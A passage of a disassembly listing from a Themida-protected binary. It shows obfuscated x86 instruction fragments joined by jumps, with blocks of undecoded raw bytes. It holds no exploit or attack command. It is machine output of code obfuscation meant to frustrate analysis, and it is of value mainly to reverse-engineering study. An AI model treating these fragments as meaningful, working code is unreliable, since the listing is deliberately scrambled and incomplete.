		shr	ecx, 7
		push	27Ah
		mov	[esp], ecx
		jmp	loc_55F81C
; ---------------------------------------------------------------------------
aZvsv		db 'ZVé¢|',0
		dd 35F38100h, 0E9C30C52h, 0FFFFF804h, 843505BEh, 0E9F58923h
		dd 7331h, 2B46EF81h, 0C7817DE4h, 7FFB3D0Bh, 83240C8Bh
		dd 0E3E904C4h, 1FFFFA0h, 0E4C381C3h, 812BE968h,	844EC9EBh
		dd 0D5E9501Eh, 5A0000B8h, 0FFB87AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5590E9:				; CODE XREF: Themida_:005608F2j
		add	ecx, 10A155B0h
		xor	ecx, 1CD25DB4h
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55A925
; ---------------------------------------------------------------------------


loc_55910B:				; CODE XREF: Themida_:00563EF7j
		mov	[esp], ecx
		jmp	loc_558CF5
; ---------------------------------------------------------------------------
		db 89h
		dd 3BE92404h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55911B:				; CODE XREF: Themida_:00562E92j
		push	5348h
		jmp	loc_553454
; ---------------------------------------------------------------------------


loc_559125:				; CODE XREF: Themida_:005601B6j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_561C35
; ---------------------------------------------------------------------------


loc_559133:				; CODE XREF: Themida_:0055CA91j
		push	edi
		mov	edi, 62906CDBh
		jmp	loc_55A4B4
; ---------------------------------------------------------------------------
aZ4Sik		db '‡4$éiª',0
		align 2
		dw 0B951h
		dd 2, 0C8BCF01h, 4C48324h, 8B243C87h, 88642424h, 84C6E902h
		dd 0E909FFFFh, 0FFE9815Dh, 57FFFFFFh, 0BD7A21BFh, 5FF92920h
		dd 0E901C183h, 49EDh, 4C181h, 0E9560000h, 6BC8h, 4EC81h
		dd 34890000h, 68E68924h, 569Fh,	83241C89h, 48904ECh, 0B78DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5591A6:				; CODE XREF: Themida_:00563BF1j
		shr	ecx, 3
		push	ebp
		mov	ebp, 23B70F2Bh
		jmp	loc_554995
; ---------------------------------------------------------------------------
		dd 1ADBBA52h, 54293342h, 66E90424h, 0C10000CCh,	0C14E07EEh
		dd 814608EEh, 0CF323CF6h, 5EF7296Dh, 5624048Bh,	0D0E9E689h
		dd 81FFFFBAh, 4ECh, 241C8900h, 3E2F59BBh, 0A3FDE956h, 0C4810000h
		dd 4, 489868h, 242C8900h, 0FFB8F5E9h, 3C77FFFFh, 0FFD95CE9h
		dd 241C89FFh, 0D36F33BBh, 0FFEB812Ch, 50FFFFFFh, 0D42207B8h
		dd 2386054Dh, 12256F92h, 486E7728h, 9A000005h, 58C301D3h
		dd 4719F381h, 0DBF77369h, 282CC381h, 30E95FBAh
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559247:				; CODE XREF: Themida_:005600CBj
		mov	[esp], eax
		mov	eax, 1C8367EFh
		sub	eax, 0FFFFFFFFh
		push	edx
		mov	edx, 1
		sub	eax, edx
		jmp	loc_552A81
; ---------------------------------------------------------------------------
		db 55h,	0FFh, 74h
		dd 8F5D0424h, 248B2404h, 0C5BEE924h, 5066FFFFh,	9337E99Ch
		dd 14890000h, 0E980B624h, 0A83Ch, 0FF839FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559289:				; CODE XREF: Themida_:0055A727j
		push	edi
		jmp	loc_553042
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 4E6C104h, 0CBAE9h, 7B946800h, 14890000h
		dd 0A3FBA24h, 0D629588Fh, 81EE015Ah, 8F0A3FC6h,	0C5EE8158h
		dd 5D5E8B4Ch, 2C681h, 0E90000h,	52FFFFAEh, 755868h, 242C8900h
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55A390
; ---------------------------------------------------------------------------
		db 68h
		dd 3DE2h, 53240C89h, 0F73F4FBBh, 0A8B6B927h, 0D9297A3Fh
		dd 22E1815Bh, 0C168A544h, 0A1E905E1h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55930F:				; CODE XREF: Themida_:005594FBj
		not	ebx
		xor	ebx, 49440D1Ah
		jmp	loc_559D3E
; ---------------------------------------------------------------------------
		dd 5BDD8966h, 0E9D5F766h, 0FFFF9CD9h, 0CB80C6B3h, 1FF5E99Ah
		dd 0DD890000h, 0E9241C8Bh, 0FFFFF1C0h, 0F295EF81h, 0F8290D1Ah
		dd 5CF4E95Fh, 8B660000h, 0EC81240Ch, 4,	54243C89h, 0E9243C8Bh
		dd 0FFFFFC5Eh
; ---------------------------------------------------------------------------


loc_559360:				; CODE XREF: Themida_:0056017Ej
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55F94E
; ---------------------------------------------------------------------------
		db 83h
		dd 5A042404h, 5A8CE9h
		db 0
; ---------------------------------------------------------------------------


loc_559375:				; CODE XREF: Themida_:0055BFE4j
		xor	ebp, 3C7C6CFEh
		sub	ebp, 11D71519h
		sub	edi, ebp
		pop	ebp
		add	edx, 721D3272h
		sub	edx, 3A0425BCh
		add	edx, 80962FEh
		add	edx, edi
		sub	edx, 80962FEh
		add	edx, 3A0425BCh
		sub	edx, 721D3272h
		pop	edi
		jmp	loc_551628
; ---------------------------------------------------------------------------
		dd 0F9630EBBh, 0ECE38157h, 0E9676541h, 8D3Dh, 4C481h, 5DE90000h
		dd 55FFFF82h, 0FFD7DCE9h, 0E9595AFFh, 2CEBh
; ---------------------------------------------------------------------------


loc_5593D8:				; CODE XREF: Themida_:00561AFDj
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		jmp	loc_561FC5
; ---------------------------------------------------------------------------
		db 81h
		dd 1F4CB8EBh, 8CBA5232h, 812D3C1Bh, 222411EAh, 43BE567Dh
		dd 0F71EF37Fh, 81D6F7DEh, 45548AEEh, 0E9F231CAh, 0FFFFA77Ch
		dd 0C781E789h, 4, 2EF81h, 0E7E90000h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559423:				; CODE XREF: Themida_:00564A5Bj
		pop	ecx
		jmp	loc_561197
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 3304E883h, 4312404h, 24043324h, 2414895Ch, 19A5E9h
		dd 0F2E95F00h, 66000001h, 5624048Bh, 1A9F68h, 48F5400h
		dd 4BD5524h, 1000000h, 8B04246Ch, 0C483242Ch, 314CE904h
		dd 0C890000h, 7364B924h, 0F1814C2Ah, 6793CC7h, 527E181h
		dd 0D1F7776Eh, 11B6E181h, 0F1813FD9h, 1FC6604Ch, 0C8BCF29h
		dd 0D7C2E924h, 0C781FFFFh, 98D51845h, 15FF889h,	685D58C7h
		dd 2E53h, 0E9242C89h, 0FFFFD379h, 0EC81E589h, 4, 0BB241C89h
		dd 2E5D5F32h, 0C386E9h,	2474FF00h, 43E95E04h, 5BFFFFA1h
		dd 4EC81h, 1C890000h, 46BFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5594E2:				; CODE XREF: Themida_:00555B3Cj
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 78C147E0h
		not	ebx
		neg	ebx
		and	ebx, 354258DDh
		jmp	loc_55930F
; ---------------------------------------------------------------------------
		dd 0B4240489h, 0DDEC805Eh, 0F480CCFEh, 0C1B252DDh, 2044B050h
		dd 96E958C2h, 5EFFFFBDh, 320FC581h, 0AFE92705h,	66FFFFCEh
		dd 2247401h, 24348B66h,	2C481h,	8F660000h, 52662404h, 2BA66h
		dd 24540166h, 1756E902h, 0B3B80000h, 0D587068h,	6DCE71C7h
		dd 64394F2Dh, 8BC12976h, 0C4812404h, 4,	0DD39E952h, 0E789FFFFh
		dd 4C781h, 0AE90000h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559577:				; CODE XREF: Themida_:00554772j
		not	esi
		shl	esi, 1
		and	esi, 62E27BF1h
		push	eax
		mov	eax, 5FB82374h
		and	esi, eax
		pop	eax
		xor	esi, 0D6F28C48h
		xor	ebp, esi
		pop	esi
		add	eax, ebp
		pop	ebp
		push	3FA3h
		mov	[esp], esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_566137
; ---------------------------------------------------------------------------
		db 80h
		dd 6CE95BF1h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5595B3:				; CODE XREF: Themida_:005550E8j
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5583E4
; ---------------------------------------------------------------------------
		db 5Ah
		dd 75E9D901h, 0BB000093h, 30BB625Eh, 895BD929h,	0EC65E9CFh
		dd 0B368FFFFh, 89000058h, 2BA2414h, 0E9000000h,	0AFA3h
		dd 42474FFh, 83240C8Bh,	48F04C4h, 24248B24h, 68C8BF0Fh
		dd 7B38h, 0E9240C89h, 0FFFF8018h, 4741BB53h, 0DBF71391h
		dd 0C639E9h
		db 0
; ---------------------------------------------------------------------------


loc_55961D:				; CODE XREF: Themida_:00557DABj
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_566069
; ---------------------------------------------------------------------------


loc_559633:				; CODE XREF: Themida_:0056060Fj
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_56057C
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0B5h
		dd 5676E410h, 4A20AD68h, 24348B72h, 4C481h, 0EE810000h
		dd 0FFFFFFFFh, 8106EEC1h, 32C0CAF6h, 86C2818Fh,	111D13Eh
		dd 759BE9F2h, 0EC810000h, 4, 2CE1E9h
		db 0
; ---------------------------------------------------------------------------


loc_559679:				; CODE XREF: Themida_:00553C37j
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	edx
		jmp	loc_55ED70
; ---------------------------------------------------------------------------
		db 81h
		dd 0BB4284C7h, 0A2EF8130h, 573AE254h, 104004BFh, 0ACEB815Bh
		dd 120217Ah, 8006E9FBh,	5A660000h, 0A084E9h
		db 0
; ---------------------------------------------------------------------------


loc_5596AD:				; CODE XREF: Themida_:00558A25j
		sub	ebx, 2CE70E17h
		sub	ebx, ebp
		add	ebx, 2CE70E17h
		mov	ebp, [esp]
		add	esp, 4
		or	ecx, ebx
		jmp	loc_565730
; ---------------------------------------------------------------------------
		db 5Bh
		dd 7D5FEB81h, 0DE01A45Ch, 65A0E9h, 0E9D10000h, 0FFFF82FEh
; ---------------------------------------------------------------------------


loc_5596E0:				; CODE XREF: Themida_:00564853j
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_55B755
		push	4DEEh
		mov	[esp], ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_55CF60
; ---------------------------------------------------------------------------
		db 59h
		dd 51685052h, 580C540Ch, 0A90DE9h
		db 0
; ---------------------------------------------------------------------------


loc_559719:				; CODE XREF: Themida_:00556FECj
		pop	ecx
		add	ecx, 4
		push	1FF9h
		mov	[esp], ebx
		mov	ebx, 21C54439h
		inc	ebx
		jmp	loc_55D3F9
; ---------------------------------------------------------------------------
aI4Hv_		db '‰4$h¢_',0
		dw 8900h
		dd 4812424h, 424h, 24348B00h, 0FF9C05E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55974D:				; CODE XREF: Themida_:0055444Bj
		push	eax
		mov	eax, esp
		jmp	loc_55D372
; ---------------------------------------------------------------------------


loc_559755:				; CODE XREF: Themida_:00551EC6j
		mov	ebp, 74F022D5h
		and	ebp, 3CB86018h
		jmp	loc_557552
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 0E9h
		dd 0C4B2h, 0E95EF131h, 713Dh, 7CC180h, 7CE980F9h, 0E9525B66h
		dd 0BF83h, 0B353D828h, 2E3C0DEh, 8079C380h, 0C3FE21E3h
		dd 0CE9C3FEh, 5C000037h, 0FFE3BAE9h, 240C89FFh,	0FFEC33E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5597A9:				; CODE XREF: Themida_:00566128j
		add	eax, 753612A0h
		mov	ebx, [esp]
		jmp	loc_560172
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFF8699h, 2A2AEB81h, 0EB81072Dh, 74C403D9h, 983EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5597CD:				; CODE XREF: Themida_:00564F07j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_56612D
; ---------------------------------------------------------------------------
		db 81h
		dd 42012CF2h, 0E9D18919h, 47DCh
; ---------------------------------------------------------------------------


loc_5597E8:				; CODE XREF: Themida_:0055EE67j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		push	eax
		mov	eax, 9653CEh
		add	eax, 5FE41107h
		neg	eax
		add	eax, 6AEB4F8Ch
		neg	eax
		sub	eax, 63C80281h
		add	eax, 7F645492h
		inc	eax
		neg	eax
		add	eax, 48811994h
		xor	eax, 1BF321C6h
		or	eax, 0BB924BEh
		jmp	loc_5537BD
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8704C283h, 248B2414h, 100C6824h, 0AFE90000h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55984F:				; CODE XREF: Themida_:00561C8Dj
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_551E24
; ---------------------------------------------------------------------------
		dd 6F44F181h, 9FE910C5h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55986F:				; CODE XREF: Themida_:0055B69Aj
		mov	esi, ebx
		pop	ebx
		shr	esi, 6
		jmp	loc_5635E3
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24148904h, 0FF8E6CE9h, 24048FFFh, 4BD55h, 6C010000h
		dd 2FE90424h, 87FFFFA2h, 82E9240Ch, 57FFFFEEh, 5F241CF7h
		dd 0DF31FB31h, 0FFC2A2E9h, 2BEFFh, 0F5890000h, 5324348Bh
		dd 0F2E9E389h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5598BF:				; CODE XREF: Themida_:00553501j
		mov	edx, 1EA67B27h
		add	ebp, edx
		pop	edx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55E191
; ---------------------------------------------------------------------------


loc_5598DB:				; CODE XREF: Themida_:0055D9E9j
		mov	esi, 581A2D0Ah
		jmp	loc_55712D
; ---------------------------------------------------------------------------


loc_5598E5:				; CODE XREF: Themida_:00552329j
		pop	edx
		add	ebx, edi
		xor	ecx, [ebx]
		mov	ebx, [esp]
		add	esp, 4
		xor	[edi+24h], ecx


loc_5598F6:				; CODE XREF: Themida_:0055D1C8j
		push	ebx
		push	dword ptr [esp]
		jmp	loc_55E59A
; ---------------------------------------------------------------------------


loc_5598FF:				; CODE XREF: Themida_:0055847Ej
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55BDAF
; ---------------------------------------------------------------------------
aSI_0		db '^éìˆ',0
		align 2


loc_559916:				; CODE XREF: Themida_:0055B82Ej
		pop	eax
		add	edi, esi
		pop	esi
		shl	edi, 5
		sub	edi, 78AD1201h
		push	esi
		mov	esi, 49F1329Ah
		or	edi, esi
		pop	esi
		xor	edi, 2A26AEEh
		jmp	loc_55372B
; ---------------------------------------------------------------------------
		db 53h
		dd 0ED0CF6BBh, 0EC5E915h, 0FB010000h, 0FF9093E9h, 795768FFh
		dd 4890000h, 0D5895524h, 895DE889h, 0F88958C7h,	58C5895Fh
		dd 622BE9h, 4C48100h, 68000000h, 2B48h,	0BF243C89h, 4
		dd 3C8BF801h, 0C537E924h, 875C0000h, 7CE92434h,	81FFFFD1h
		dd 4C1h, 4C18300h, 2474FF51h, 48F5904h,	85E95C24h, 5CFFFF7Ch
		dd 9C240421h, 0FF7C7BE9h, 5EF329FFh, 0C381D301h, 1B510AAh
		dd 241C875Ah, 4BA7E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5599C2:				; CODE XREF: Themida_:005575ACj
		add	esp, 4
		pop	edi
		and	edx, 742A1652h
		add	edx, 388C1B20h
		or	edx, 48C40845h
		and	edx, 3462437h
		jmp	loc_559F9F
; ---------------------------------------------------------------------------
		db 43h
		dd 68h,	9419E900h, 0B850FFFFh, 710809B2h, 8904EC83h, 0C6BF243Ch
		dd 51588A6Ch, 0F510D6B9h, 4FC781F2h, 158E925h, 4FEF81CFh
		dd 5958E925h, 0D04CC12Dh, 9F30E972h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559A1E:				; CODE XREF: Themida_:00559FB1j
		add	ecx, edx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_563EFC
; ---------------------------------------------------------------------------
aQhw?		db 'QhW?',0
		dw 0E900h
		dd 768Ch, 2434FF59h, 0E0895058h, 405h, 0E4DBE900h, 0C180FFFFh
		dd 5CC180E0h, 46E9712Ch
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559A5B:				; CODE XREF: Themida_:00556FD5j
		or	ebp, ecx
		pop	ecx
		jmp	loc_55AFF5
; ---------------------------------------------------------------------------
		db 56h
		dd 37451FBEh, 2EEC134h,	2337CE81h, 814E1F4Dh, 0F3F7FDF6h
		dd 5EF0291Eh, 0E952E801h, 0FFFFCA3Eh
; ---------------------------------------------------------------------------


loc_559A84:				; CODE XREF: Themida_:00557988j
		push	esi
		mov	esi, esp
		push	eax
		push	ebp
		mov	ebp, 232C56DBh
		mov	eax, 232C56DFh
		sub	eax, ebp
		pop	ebp
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_551DB2
; ---------------------------------------------------------------------------
		dd 4DEE8158h, 0E912BF42h, 3DB1h, 5B99EA80h, 8005E2C0h
		dd 0EAC023F2h, 25EA8007h, 0F6E91A04h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559AC7:				; CODE XREF: Themida_:00565022j
		mov	[esp], ebx
		mov	ebx, 63E70388h
		xor	ebx, 3CCE613Fh
		xchg	ebp, ebx
		not	ebp
		xchg	ebp, ebx
		neg	ebx
		xor	ebx, 1C837281h
		xor	ebx, 74692B86h
		add	ecx, ebx
		pop	ebx
		jmp	loc_55B6C0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_564662
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 33243C31h, 0D35C243Ch, 0E99C2424h, 0FFFF7B0Ch
; ---------------------------------------------------------------------------


loc_559B1C:				; CODE XREF: Themida_:00560A64j
		sub	esi, eax
		add	esi, 0DF1224Fh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55B3EA
; ---------------------------------------------------------------------------
		db 58h
		dd 0FF8A2AE9h, 4B951FFh, 89000000h, 0A7E959CDh,	5F00005Eh
		dd 8704EA83h, 0E95C2414h, 0FFFFD094h
; ---------------------------------------------------------------------------


loc_559B50:				; CODE XREF: Themida_:00554EF7j
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56217C
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4BA52h, 0D1010000h, 7AEEE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559B6A:				; CODE XREF: Themida_:005545C7j
		sub	dl, 0B4h
		sub	al, dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55E65B
; ---------------------------------------------------------------------------
		dw 0F747h
		dd 96C781DFh, 0F722B140h, 5381E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559B8E:				; CODE XREF: Themida_:0055845Dj
		mov	[esp], ebx
		mov	ebx, 4ED80370h
		sub	eax, ebx
		jmp	loc_553C6D
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 880EB353h, 0EC835BDEh, 240C8904h, 0E2B25253h, 0C280C2FEh
		dd 5AD788B0h, 8002EFC0h, 0F988C6F7h, 2E9C05Bh, 52DDB450h
		dd 0FFE690E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559BCD:				; CODE XREF: Themida_:00552438j
		push	ebx
		jmp	loc_558F3B
; ---------------------------------------------------------------------------
		db 52h
		dd 2434FF54h, 5158E9h, 2C8B5400h, 4C48324h, 4C581h, 0C5830000h
		dd 242C3302h, 0E9242C31h, 6561h, 4EC8152h, 0E9000000h
		dd 0FFFFFB9Dh
; ---------------------------------------------------------------------------


loc_559C04:				; CODE XREF: Themida_:00565A42j
		pop	ebx
		jmp	loc_554A7E
; ---------------------------------------------------------------------------
		dw 0B551h
		dd 8BEF880Ah, 0C481240Ch, 4, 2247C00h, 2C805B66h, 1C282F24h
		dd 24048024h, 242C802Fh, 241C8A0Ah, 8904EC83h, 5EE9241Ch
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559C3B:				; CODE XREF: Themida_:005625CCj
		xchg	ebp, [esp]
		pop	esp
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55861A
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 0FFC58001h, 51B0F580h, 0C181E189h, 4, 438CBE56h, 0D6F70EE2h
		dd 75CCE9h
		db 0
; ---------------------------------------------------------------------------


loc_559C6D:				; CODE XREF: Themida_:00563A33j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_556652
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFFDBC5h, 405EF031h, 96130548h, 0C3317180h, 24148B58h
		dd 4C481h, 89E90000h, 68FFFF79h, 6711h,	0E9241C89h, 0E36h
		dd 0A413E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559CB2:				; CODE XREF: Themida_:0055621Fj
		xor	edx, edi
		jmp	loc_5608C5
; ---------------------------------------------------------------------------


loc_559CB9:				; CODE XREF: Themida_:0055C09Dj
		push	edx
		mov	edx, 12A19F9h
		jmp	loc_552112
; ---------------------------------------------------------------------------
		dd 0C4E7C381h, 0DD01F0C5h, 4C5815Bh, 55000000h,	42474FFh
		dd 24048F5Dh, 0FF7D63E9h, 0A1C581FFh, 0E9F02B45h, 0FFFF886Bh
		dd 0E780D7F6h, 80C7FEF5h, 0F8009FEFh, 1FB1515Bh, 80FFC180h
		dd 0C1FEEAE1h, 0E902E9C0h, 0FFFFFD42h
; ---------------------------------------------------------------------------


loc_559D0C:				; CODE XREF: Themida_:00552D3Aj
		shl	ecx, 8
		jmp	loc_552712
; ---------------------------------------------------------------------------
		dd 0D1F7815Ah, 0F713761Dh, 0E6C781D7h, 6888F62Bh, 0CF7FD608h
		dd 4CD8E9h
		db 0
; ---------------------------------------------------------------------------


loc_559D2D:				; CODE XREF: Themida_:0055A3A3j
		mov	eax, esp
		add	eax, 4
		push	2F6h
		jmp	loc_55B977
; ---------------------------------------------------------------------------


loc_559D3E:				; CODE XREF: Themida_:00559317j
		xor	ebx, 0B52A8F08h
		mov	esi, ebx
		pop	ebx
		jmp	loc_562DC2
; ---------------------------------------------------------------------------


loc_559D4C:				; CODE XREF: Themida_:00559F9Aj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55804D
; ---------------------------------------------------------------------------
		db 4
		dd 9A2C5Dh, 2C9A04F8h, 53E6045Dh, 0F828B3B7h, 62B6525Bh
		dd 0C6B25251h, 0FFB8D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559D7D:				; CODE XREF: Themida_:0055E286j
		mov	[esp], edi
		mov	edi, 2FA46EDh
		jmp	loc_55BB89
; ---------------------------------------------------------------------------


loc_559D8A:				; CODE XREF: Themida_:0055294Aj
		pop	esp
		jmp	loc_56039C
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 4, 34FFCF29h, 0E9535924h, 0FFFF7CB3h, 864154BDh
		dd 5DE80108h, 6824148Bh, 6B9Eh,	89241C89h, 4C381E3h, 0E9000000h
		dd 25CDh, 0FF785FE9h, 1B1EBDFFh, 0CD8167A5h, 2C1B6E44h
		dd 5D50554Dh, 0E9954858h, 0BDFCh
; ---------------------------------------------------------------------------


loc_559DE0:				; CODE XREF: Themida_:00555CEBj
		mov	ebx, 473A023Eh
		jmp	loc_56115E
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 89000000h, 6F2BE9F5h, 0EC830000h, 1C896602h,	4BB324h
		dd 1C8B66D8h, 0E0895024h, 405h,	2C08300h, 2474FF50h, 48F5804h
		dd 0C2E95C24h, 8100006Ch, 8A7371EFh, 0FFC7833Bh, 8A6CEF81h
		dd 0F9019A35h, 81D9015Fh, 163FE2E9h, 7AE98156h,	5B610B0Fh
		dd 31240C33h, 0C33240Ch, 24248B24h, 9C2424D3h, 0FF77D3E9h
		dd 241C31FFh, 0E9241C33h, 0FFFFDEC4h
; ---------------------------------------------------------------------------


loc_559E60:				; CODE XREF: Themida_:00553C76j
		add	eax, edi
		pop	edi
		add	eax, 6482602Ah
		jmp	loc_5622F6
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 2Fh
		dd 1107818h, 0F7485AD0h, 0A9152DD8h, 0C3297BEAh, 614E958h
		dd 8B660000h, 19E9240Ch, 88000008h, 68535BF9h, 3601h, 88241489h
		dd 0D48850CAh, 0F6E9E788h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559EA7:				; CODE XREF: Themida_:0055B73Cj
		add	dword ptr [esp], 641E4C5Eh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5560C2
; ---------------------------------------------------------------------------
		dw 2C81h
		dd 0B121D024h, 7B42E948h, 4C29FFFFh, 0C8B0424h,	4C48324h
		dd 0FFAE7EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559ED5:				; CODE XREF: Themida_:0056610Fj
		pop	edi
		sub	ebp, edx
		jmp	loc_551CC2
; ---------------------------------------------------------------------------
		db 0F6h, 0DAh, 0FEh
		dd 12C280CAh, 285AD028h, 535166E8h, 9F7DE9h
		db 0
; ---------------------------------------------------------------------------


loc_559EF1:				; CODE XREF: Themida_:0055B555j
		inc	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0FDF6F705h
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_562388
; ---------------------------------------------------------------------------
		db 1, 0C7h, 58h
aRh?		db 'RhÈ?',0
		align 2
		dw 3C89h
		dd 58A4BF24h, 5CBA464Fh, 0E93A6B5Bh, 0FFFF9E4Ah, 240C8B66h
		dd 45AA68h, 243C8900h, 0C781E789h, 4, 0E0AFE953h, 0E9C1FFFFh
		dd 13E18107h, 49705B38h, 0D7F4BB53h, 92E9FFFDh,	53FFFFEFh
		dd 8EE9E389h, 51FFFFE4h, 0DDF6ACB5h, 0E5C0DDF6h, 4C58003h
		dd 34FFEB00h, 240C8B24h, 6804C483h, 547Fh, 6D25E9h, 4C28100h
		dd 0E9000000h, 0FFFFB953h, 48691705h, 51D00164h, 0FFB7DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559F99:				; CODE XREF: Themida_:0055D9BCj
		push	ebx
		jmp	loc_559D4C
; ---------------------------------------------------------------------------


loc_559F9F:				; CODE XREF: Themida_:005599DEj
		or	edx, 6423472Bh
		add	edx, 0FFFFFFFFh
		xor	edx, 6467473Ah
		jmp	loc_559A1E
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 5EE60216h, 0F4E9DF01h, 10000B7h, 4875BD8h, 0C4E95C24h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559FCF:				; CODE XREF: Themida_:00561C4Bj
		add	edx, 6EB919CFh
		add	edx, esi
		jmp	loc_55AFC4
; ---------------------------------------------------------------------------
		dd 0CEE1815Fh, 8168B647h, 992CEDF1h, 0C2F18157h, 81555524h
		dd 7AF4C2C1h, 49E951E0h, 0E9000085h, 0FFFF7628h, 379568h
		dd 242C8900h, 42474FFh,	0C3D5E95Dh, 53680000h, 5A6A9934h
		dd 3457BB53h, 0DA316A99h, 5B2434FFh, 0ACFAE9h, 2414F700h
		dd 0B2B9515Ah, 0E9758124h, 0FFFFA8D5h, 0AC2CE955h, 34FF0000h
		dd 0C4835A24h, 92C2E904h, 0D3290000h, 17A0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A051:				; CODE XREF: Themida_:00561EFBj
		mov	eax, 51535901h
		inc	eax
		push	ecx
		mov	ecx, 54751E6Bh
		add	eax, ecx
		pop	ecx
		or	eax, 18410589h
		jmp	loc_554503
; ---------------------------------------------------------------------------


loc_55A06A:				; CODE XREF: Themida_:0055CF8Cj
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55BEB6
; ---------------------------------------------------------------------------
		dd 0D6F7DEF7h, 4EC81h, 4890000h, 0A762E924h, 0C3810000h
		dd 565352C2h, 2308B951h, 91E9763Ah, 0F7FFFFE2h,	4FF2414h
		dd 0C6815E24h, 73D80325h, 348BF589h, 4C48324h, 3B84C381h
		dd 0EB010560h, 4EC81h, 4890000h, 4EC9E924h, 74FF0000h
		dd 8F590424h, 895C2404h, 0DCE92414h
